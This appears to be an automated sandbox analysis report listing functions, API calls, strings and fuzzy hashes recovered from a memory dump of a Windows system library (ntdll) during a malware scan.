API ID: StringUnicode$AppendSystem$DirectoryPathPrefixReplaceRootmemmove
String ID: \SysWOW64
API String ID: 1880611629-3584015931
Opcode ID: c8273bd33a0dfeba1a1d02f8a9bb71780011d7424e141abb3cc94de083e48e15
Instruction ID: ea50bf29b99ef2c435950e9eb70a0f5a3f312b8febcdcf7323f8201cc01d125b
Opcode Fuzzy Hash: c8273bd33a0dfeba1a1d02f8a9bb71780011d7424e141abb3cc94de083e48e15
Instruction Fuzzy Hash: 5A110071905218B6CB20DFF5EC48BDEB7F8AF48314F2041D6E549A7640DB31AA89CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6C0CD8DF, Relevance: 9.2, APIs: 6, Instructions: 160timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,000000FE,?,?,?,?,6C0CC9F8,000000FE), ref: 6C0CD9D0
RtlAcquireSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6C0CD9E6
RtlDebugPrintTimes.1105(?,?,?,000000FE,?,?,?,?,6C0CC9F8,000000FE), ref: 6C0CDA0E
RtlReleaseSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6C0CDA6A
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6C0CDA71
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6C0CDA83

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$DebugPrintTimes
String ID:
API String ID: 675604559-0
Opcode ID: ed69d234c17af103836165759aff088ad7120729f597c8a39c351865897fb9fe
Instruction ID: d9431ac0afca0f734911a65f8a2c15b51de4da50b96e451ae61a21e084c0e7fa
Opcode Fuzzy Hash: ed69d234c17af103836165759aff088ad7120729f597c8a39c351865897fb9fe
Instruction Fuzzy Hash: 9E511675B443199BCB00CFA8C88079EF7F5EF46728F154259D825A7781C770E985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C093F4D, Relevance: 9.1, APIs: 6, Instructions: 130COMMON

Download Yara Rule

APIs

RtlpEnsureBufferSize.1105(00000000,?,-00000002,6C0E0890,0000001C,6C06D659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?), ref: 6C093FB4
memmove.1105(00000000,00000000,00000000,00000000,?,-00000002,6C0E0890,0000001C,6C06D659,00020000,00000000,?,?,00000003,00000000,00000002), ref: 6C093FD9
RtlEnterCriticalSection.1105(6C0F79A0,6C0E0890,0000001C,6C06D659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6C09401B
RtlExpandEnvironmentStrings_U.1105(00000000,?,00000000,?,6C0E0890,0000001C,6C06D659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040), ref: 6C09402D
RtlpEnsureBufferSize.1105(00000000,?,?,00000000,?,00000000,?,6C0E0890,0000001C,6C06D659,00020000,00000000,?,?,00000003,00000000), ref: 6C094074
RtlExpandEnvironmentStrings_U.1105(00000000,?,?,00000000,00000000,?,?,00000000,?,00000000,?,6C0E0890,0000001C,6C06D659,00020000,00000000), ref: 6C0940A0

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: BufferEnsureEnvironmentExpandRtlpSizeStrings_$CriticalEnterSectionmemmove
String ID:
API String ID: 1067925741-0
Opcode ID: 4e6f229ee6ae1339763495d5f4a1b097f0fbedde7ad53bccca96444eb932e813
Instruction ID: 76d9ad8b36112de0629da4a0536c23663c10566d49b333166f073e2e6c289e2c
Opcode Fuzzy Hash: 4e6f229ee6ae1339763495d5f4a1b097f0fbedde7ad53bccca96444eb932e813
Instruction Fuzzy Hash: D641E671D05A36ABCB208F9584507AEB7F4EF48B08F115626E868E7B40E3359C50EBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6C005320, Relevance: 9.1, APIs: 6, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6C0F85F0), ref: 6C005362
RtlClearBits.1105(?,?,00000001,6C0F85F0), ref: 6C00538E
RtlAcquireSRWLockExclusive.1105(?,?,?,00000001,6C0F85F0), ref: 6C0053A7

Part of subcall function 6C022280: RtlDllShutdownInProgress.1105(00000000), ref: 6C0222BA
Part of subcall function 6C022280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6C0223A3

RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000001,6C0F85F0), ref: 6C0053F2
RtlReleaseSRWLockExclusive.1105(6C0F85F0,6C0F85F0), ref: 6C005400
RtlDebugPrintTimes.1105(?,?,?,?,00000001,6C0F85F0), ref: 6C005422

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$AlertBitsClearDebugPrintProgressShutdownThreadTimesWait
String ID:
API String ID: 3225401293-0
Opcode ID: 1c8a8b79673d7d9c11c7bd86381c35055cf9ba52b3fd5b8d05f2ce9099ac830c
Instruction ID: 28a026d4ddfbbbbe9357cc5b6482d4ec4d3f2e8bea09e7c2c04f6fc2b48b9931
Opcode Fuzzy Hash: 1c8a8b79673d7d9c11c7bd86381c35055cf9ba52b3fd5b8d05f2ce9099ac830c
Instruction Fuzzy Hash: 0431F3763093059FDB00CF68C484B9EB3E4AF45318F86496DE9559BB42CB70E9098BA5

Uniqueness

Uniqueness Score: -1.00%

Function 6C03FE34, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108libraryCOMMON

Download Yara Rule

APIs

RtlAppendUnicodeToString.1105(02BE0000,?), ref: 6C03FEA6

Part of subcall function 6C01A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6C01A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6C01A9E2

LdrStandardizeSystemPath.1105(02BE0000,02BE0000,?), ref: 6C03FEB4

Part of subcall function 6C01A8C0: RtlGetNtSystemRoot.1105(?,?), ref: 6C01A8F0
Part of subcall function 6C01A8C0: RtlAppendUnicodeToString.1105(02140000,00000000,?,?), ref: 6C01A8FD
Part of subcall function 6C01A8C0: RtlAppendUnicodeToString.1105(02140000,\SysWOW64,02140000,00000000,?,?), ref: 6C01A915
Part of subcall function 6C01A8C0: RtlPrefixUnicodeString.1105(02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6C01A924

Part of subcall function 6C03FF2F: RtlGetNtSystemRoot.1105(?,?,?,?,?,6C03FEC6,02BE0000,02BE0000,?), ref: 6C03FF3C
Part of subcall function 6C03FF2F: _wcsnicmp.1105(?,00000000,-00000002,?,?,?,?,?,6C03FEC6,02BE0000,02BE0000,?), ref: 6C03FF6E

Strings

\Windows, xrefs: 6C07C11D

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendSystem$Root$PathPrefixStandardize_wcsnicmpmemmove
String ID: \Windows
API String ID: 1616562977-3600636569
Opcode ID: be3324b21f424c92dac32001f454e5d848774553af9a1650b3fbdec902ab60e0
Instruction ID: 12af4893f6b7228d5655892509af19fbe2c340ef89a8b589a901b6804c5b3572
Opcode Fuzzy Hash: be3324b21f424c92dac32001f454e5d848774553af9a1650b3fbdec902ab60e0
Instruction Fuzzy Hash: 8D3195325083169FC714DF58C940B8BB7E9AFCA318F55496DE8A897700EB31D909CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6C010225, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6C010315: memcpy.1105(6C0F7C54,?,00000040,00000000,00000000,000000FF,?,?,6C010254,6C0DF868,00000038,6C00F563), ref: 6C010371
Part of subcall function 6C010315: memcpy.1105(?,?,?,?,0000FFFF,?,00000000,00000000,000000FF,?,?,6C010254,6C0DF868,00000038,6C00F563), ref: 6C01042B

RtlActivateActivationContextUnsafeFast.1105 ref: 6C0102BA

Strings

$, xrefs: 6C01029C
minkernel\ntdll\ldrsnap.c, xrefs: 6C0661E1
Uninitializing DLL "%wZ" (Init routine: %p), xrefs: 6C0661D0
LdrpProcessDetachNode, xrefs: 6C0661D7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$ActivateActivationContextFastUnsafe
String ID: $$LdrpProcessDetachNode$Uninitializing DLL "%wZ" (Init routine: %p)$minkernel\ntdll\ldrsnap.c
API String ID: 2422247448-1066784428
Opcode ID: ac1b2063ed0d127fd82824ea5feede4d21f5361f8b9b4c03a49b11830acdb4df
Instruction ID: cb5c3e931ad76a74d75f424689cff0176980608f1979315822e6fdc20987ee84
Opcode Fuzzy Hash: ac1b2063ed0d127fd82824ea5feede4d21f5361f8b9b4c03a49b11830acdb4df
Instruction Fuzzy Hash: 90319F30D49244DBDB01CFA4C984B9EFBF4BF0930CF248199E540ABA90D775A956CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6C010C30, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(6C0F8550,?,?,00000000,000000FF,6C0DF868,00000038,6C00F563), ref: 6C010C6F
RtlReleaseSRWLockShared.1105(6C0F8550,6C0F8550,?,?,00000000,000000FF,6C0DF868,00000038,6C00F563), ref: 6C010C98

Strings

Calling TLS callback %p for DLL "%wZ" at %p, xrefs: 6C06642C
minkernel\ntdll\ldrtls.c, xrefs: 6C06643D
LdrpCallTlsInitializers, xrefs: 6C066433

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease
String ID: Calling TLS callback %p for DLL "%wZ" at %p$LdrpCallTlsInitializers$minkernel\ntdll\ldrtls.c
API String ID: 2614130328-70613900
Opcode ID: afaea543366dbef98e66b8c1ad73220363cb3999861e7640d404d04e3dd85e70
Instruction ID: 25dae3e59a230896f6eb056d3bd632658e7047a57aa84e4e72c44752e69fa465
Opcode Fuzzy Hash: afaea543366dbef98e66b8c1ad73220363cb3999861e7640d404d04e3dd85e70
Instruction Fuzzy Hash: 9221F172D08758ABCB10CF99C941F9AFBF9FB04B1CF114619EC6423E40E774A8458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B6243, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlpGetUserOrMachineUILanguage4NLS.1105(00000001,?,?,?), ref: 6C0B6275

Part of subcall function 6C0BCF70: RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6C0BCFC1
Part of subcall function 6C0BCF70: ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6C0BD0B8
Part of subcall function 6C0BCF70: RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6C0BD0CD
Part of subcall function 6C0BCF70: ZwClose.1105(?,?,?,?), ref: 6C0BD139
Part of subcall function 6C0BCF70: ZwClose.1105(00000000,?,?,?), ref: 6C0BD14E

RtlInitUnicodeString.1105(?,?,00000001,?,?,?), ref: 6C0B62A4
RtlInitUnicodeString.1105(?,?,?,?,00000001,?,?,?), ref: 6C0B62B7
RtlCompareUnicodeString.1105(?,?,00000001,?,?,?,?,00000001,?,?,?), ref: 6C0B62CC

Part of subcall function 6C019660: RtlCompareUnicodeStrings.1105(?,?,?,?,6C0F7B60,?,6C0468BE,?,00000024,00000001,?,6C0305B9,?,?,6C0F7B60), ref: 6C019680

Strings

U, xrefs: 6C0B625F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$String$Init$CloseCompare$Language4MachineOpenRtlpStringsUser
String ID: U
API String ID: 3637150059-3372436214
Opcode ID: dd4616a87115772bf3ad3eacd1f6a41001b66b6146cc39b949217e0317f211ea
Instruction ID: fb2e04c3a41a6e89673f7d74b8459031cf532f512b5b18ba9e3ce56acefccb49
Opcode Fuzzy Hash: dd4616a87115772bf3ad3eacd1f6a41001b66b6146cc39b949217e0317f211ea
Instruction Fuzzy Hash: 8A117331505A2C96EB24DB618C44FDEB3FCAB05304F4045F9D909E3640EB71AA488B51

Uniqueness

Uniqueness Score: -1.00%

Function 6C09FDDA, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6C05FA1C,00000000,00000004,?,00000000,?,00000000), ref: 6C09FDFA
DbgPrintEx.1105(00000065,00000001,RTL: Enter CriticalSection Timeout (%I64u secs) %d,00000000,?,?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6C05FA1C,00000000), ref: 6C09FE0A
DbgPrintEx.1105(00000065,00000000,RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u,?,?,00000002,?,00000000,00000004,?,00000000,?,00000000,00000000), ref: 6C09FE34

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 6C09FE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 6C09FE01

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 545360701-3903918235
Opcode ID: e51690ca392f4d7710011c122d32bb5470149ec2fff9be3ded6be70d17667b33
Instruction ID: 8666b589bd59f887513df7a97af7529531f4404e3f28e6a5fa772f94e7ab6bfd
Opcode Fuzzy Hash: e51690ca392f4d7710011c122d32bb5470149ec2fff9be3ded6be70d17667b33
Instruction Fuzzy Hash: 21F0F036200141BFEA204A46DC01F63BBAEEB44734F244314F62856AE1EB63F920A7F0

Uniqueness

Uniqueness Score: -1.00%

Function 6C023690, Relevance: 7.9, APIs: 5, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d1d1062f44cd8c89d6411d7b6547a9f1f1a1c7a9bd366e439d99a447a9d93eb
Instruction ID: 42c425217df10a8e00245dbda20d5b2f8a3f9fb263afc9d7e19e82b4024cf3af
Opcode Fuzzy Hash: 5d1d1062f44cd8c89d6411d7b6547a9f1f1a1c7a9bd366e439d99a447a9d93eb
Instruction Fuzzy Hash: 5BD19F75D043198BDF20DFAAC0403AEB7F6FF48718FA5411AD895ABE48D334A986CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6C001190, Relevance: 7.7, APIs: 5, Instructions: 151COMMON

Download Yara Rule

APIs

RtlIpv4StringToAddressW.1105(00000000,?,?,00000000), ref: 6C0011B9

Part of subcall function 6C0011E0: iswctype.1105(0000000A,00000004), ref: 6C001244

iswctype.1105(00000000,00000004,00000000,?,?,00000000), ref: 6C05EB6B

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$AddressIpv4String
String ID:
API String ID: 1627499474-0
Opcode ID: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction ID: d597b3163e1cfa71c209c776814c65165dc1fe05a2ba0027230949aff70f4315
Opcode Fuzzy Hash: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction Fuzzy Hash: 56417936A402159BFB28CA55DD417FA73F4EF04B68FA44636E890D7AC0E738DA51C6D0

Uniqueness

Uniqueness Score: -1.00%

Function 6C0940D2, Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

RtlComputePrivatizedDllName_U.1105(?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6C094104
RtlFreeUnicodeString.1105(?,?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6C0941CF
RtlFreeUnicodeString.1105(?,?,?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6C0941D8

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeStringUnicode$ComputeName_Privatized
String ID:
API String ID: 3871896386-0
Opcode ID: 7f0ccbea32786f58c51fe4cf487af8eef5749277614f3754637beb9fa8debb0f
Instruction ID: c7601560b02200ea720a8949182ac3ed733ff26792479368e386ea8ddcc6f75a
Opcode Fuzzy Hash: 7f0ccbea32786f58c51fe4cf487af8eef5749277614f3754637beb9fa8debb0f
Instruction Fuzzy Hash: 2431E471900219BACB10CFE4C880BEEB3F8EF25B09F11556AD964D7A40F735E959E790

Uniqueness

Uniqueness Score: -1.00%

Function 6C03F296, Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 6C03F2E0: RtlAcquireSRWLockExclusive.1105(6C0F86AC,00000000,00000000,00000000,0000000C,?,6C03F2BF,00000000,00000000,?), ref: 6C03F2F1
Part of subcall function 6C03F2E0: RtlReleaseSRWLockExclusive.1105(6C0F86AC,?,?,6C0F86AC,00000000,00000000,00000000,0000000C,?,6C03F2BF,00000000,00000000,?), ref: 6C03F31B

RtlAcquireSRWLockShared.1105(0000001C,00000000,00000000,?), ref: 6C07BB5B
RtlReleaseSRWLockShared.1105(0000001C,0000001C,00000000,00000000,?), ref: 6C07BBE9

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$AcquireExclusiveReleaseShared
String ID:
API String ID: 3474408661-0
Opcode ID: 5117f2a51b455274fea907f60d5e1a9a7f3c8bed33685451342697fa1a7d56db
Instruction ID: cdea655170ff8eb627b998a248119d324fd828b458637d94afcc7c4ba1f7697d
Opcode Fuzzy Hash: 5117f2a51b455274fea907f60d5e1a9a7f3c8bed33685451342697fa1a7d56db
Instruction Fuzzy Hash: B731FA759002248BCB24DF18C881BEE77F4BF45708F1480A9DD49AB745DF756A4ACBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6C02C4A0, Relevance: 7.6, APIs: 5, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,?,?,?,6C0CC9F8,000000FE), ref: 6C02C4E9
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?), ref: 6C02C52D
TpIsTimerSet.1105(?,?,?,00000000,?,00000000,?), ref: 6C02C550
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?), ref: 6C072E52
RtlDebugPrintTimes.1105(?,?,?,?,00000000,?,00000000,?), ref: 6C072E69

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimerTimes
String ID:
API String ID: 1747049749-0
Opcode ID: a6d1e41c2c0af0b18143b341581cc93d6d3195be213bb362cf832efb34c5d75f
Instruction ID: b7bd2fbe053d659432ce0941581b4d2500d9a184684fe4b74a3a5bd13215707f
Opcode Fuzzy Hash: a6d1e41c2c0af0b18143b341581cc93d6d3195be213bb362cf832efb34c5d75f
Instruction Fuzzy Hash: D0215A30604268ABEB009F748C10BEFBFF89F46398F148468EC515B700DB79E9488BD0

Uniqueness

Uniqueness Score: -1.00%

Function 6C010541, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,000000AB,?,?,?,?,6C0104FB,6C0DF890,0000001C,6C0103A8,?,00000000), ref: 6C010569
RtlInitUnicodeString.1105(?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010,?,00000010,?,00000010), ref: 6C0106E7
RtlCompareUnicodeString.1105(?,6C0DF890,00000000,6C0103A8,?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010), ref: 6C010717

Part of subcall function 6C019660: RtlCompareUnicodeStrings.1105(?,?,?,?,6C0F7B60,?,6C0468BE,?,00000024,00000001,?,6C0305B9,?,?,6C0F7B60), ref: 6C019680

Strings

VS_VERSION_INFO, xrefs: 6C0106DE

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$CompareString$HeaderImageInitStrings
String ID: VS_VERSION_INFO
API String ID: 1271209012-1537192461
Opcode ID: 1f5fdca85b901b9e192c32dd1be935fc9f34f69aa2e1872d6490427e7f11c885
Instruction ID: 515c65ae21b478611cdab354fa92fd5c90ddd0a1cfa56c58dc7e0241357af050
Opcode Fuzzy Hash: 1f5fdca85b901b9e192c32dd1be935fc9f34f69aa2e1872d6490427e7f11c885
Instruction Fuzzy Hash: 2B519331E082599AEB10CBE1CC40BEAFBF8AF5464CF1485699994DBE80EB70E615CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6C0143C0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

memcpy.1105(?,00000000,00000000,00000000,00000000,00000001), ref: 6C014424
_wcsicmp.1105(MUI,?,00000000,00000000,00000001), ref: 6C0144A9
RtlLocaleNameToLcid.1105(?,?,00000003,00000000,00000000,00000001), ref: 6C014532

Strings

MUI, xrefs: 6C0144A8

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: LcidLocaleName_wcsicmpmemcpy
String ID: MUI
API String ID: 2548447388-1339004836
Opcode ID: 05cd66017450ba830dee8084f22c7fc93c95a1a0a696df5a681fa8c0297e2fb5
Instruction ID: c8b27fdbbea07916f615c010364240fd6f1705dcfcf39b90f3151b4b78d12827
Opcode Fuzzy Hash: 05cd66017450ba830dee8084f22c7fc93c95a1a0a696df5a681fa8c0297e2fb5
Instruction Fuzzy Hash: DD412A35605114A7DB10CFE9D880BA6F3F5FB4435CF60826ADC2987D61EB30E945C791

Uniqueness

Uniqueness Score: -1.00%

Function 6C001390, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 6C001783: RtlAcquireSRWLockExclusive.1105(?,6C0013C0,6C0DF288,00000044), ref: 6C001793

RtlReleaseSRWLockExclusive.1105(?,6C0DF288,00000044), ref: 6C001462

Part of subcall function 6C001986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6C0013F2,6C0DF288,00000044), ref: 6C001995

memcpy.1105(?,0000000E,?,6C0DF288,00000044), ref: 6C00143D

Strings

#%u, xrefs: 6C05EE91

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireHandleIndexReleaseValidmemcpy
String ID: #%u
API String ID: 1422088098-232158463
Opcode ID: 3c6047fa89500055a1c63721ba540f2c3d6eb101368f29ca66abb6634a424723
Instruction ID: 4219891d312e0eddf6961a004278e1b17b991d33d3df87abce87df2ff457e696
Opcode Fuzzy Hash: 3c6047fa89500055a1c63721ba540f2c3d6eb101368f29ca66abb6634a424723
Instruction Fuzzy Hash: E8410371B14214CBEB10CF98C94079EB3F6AF8530CF964029E865ABB50D775DC46C790

Uniqueness

Uniqueness Score: -1.00%

